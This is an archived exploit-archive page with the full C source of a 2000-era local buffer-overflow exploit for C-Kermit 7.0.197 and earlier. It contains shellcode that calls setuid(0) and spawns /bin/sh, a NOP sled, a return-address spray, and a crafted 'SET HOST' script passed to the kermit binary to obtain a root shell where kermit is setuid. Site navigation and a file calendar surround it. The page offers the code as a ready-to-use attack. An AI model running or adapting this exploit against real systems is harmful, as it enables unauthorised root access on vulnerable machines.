exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

hhp-kermit_smash.c

hhp-kermit_smash.c
Posted Sep 19, 2000
Authored by Loophole, hhp | Site hhp-programming.net

C-Kermit local exploit. Versions 7.0.197 and below are vulnerable. Tested on Slackware 7, where it is not suid. It is suid on Olivetti X/OS R2.3, 3.x.

tags | exploit, local
systems | linux, slackware
SHA-256 | b1c58ec5e7f44694f976de55f2766d8a2088c17241a91eff5815c66be7258e40

hhp-kermit_smash.c

Change Mirror Download
/*
* C-Kermit local exploit.
* Versions: 7.0.197 (Maybe others).
* Available at: www.columbia.edu/kermit/
*
* By: Cody Tubbs (loophole of hhp).
* shouts to v9. :), *icesk, rpc, tgb,
* syscon, houston peeps, meta`, duke,
* ism, blkforge, sk8, and #hhp.
*
* Date: 9/19/2000.
* Web: www.hhp-programming.net
* Mail: pigspigs@yahoo.com
*
* Tested on slack7.
* non s*id by default on linux.
* [suid on Olivetti X/OS R2.3, 3.x]
*
* .. ribbit.. . ribbit.. . ribbit.. SPLAT!.
*******************************************/

#include <stdio.h>

#define OFFSET -5000 // Tested on slack7.
#define NOP 0x90
#define TMP "/tmp/.kerm"
#define DBUF 1200

static char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"
"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"
"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"
"\xe8\xdc\xff\xff\xff/bin/sh\x69";

long get_sp(void){
__asm__("movl %esp,%eax");
}

main(int argc, char *argv[]){
char eipeip[DBUF], buffer[4096];
int i, offset;
FILE *ribbit;
long address;

if(argc > 1){
offset = atoi(argv[1]);
}else{
offset = OFFSET;
}

address = get_sp() - offset;

for(i = 0 ; i < DBUF ; i += 4){
*(long *)&eipeip[i] = address;
}

for( i = 0 ; i < (4096 - strlen(shellcode) - strlen(eipeip)) ; i++){
buffer[i] = NOP;
}

memcpy(buffer + i, shellcode, strlen(shellcode));
memcpy(buffer, "RIBBIT=", 7); // Using env var due to command
putenv(buffer); // line shellcode char(hotkey)
// truncate problems.

fprintf(stderr, "Return address %#x, offset: %d.\n", address, offset);
unlink(TMP);
ribbit = fopen(TMP, "w");
fprintf(ribbit, "SET HOST %s\n", eipeip);
fclose(ribbit);
execlp("/usr/local/bin/kermit", "kermit", TMP, 0);
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    35 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close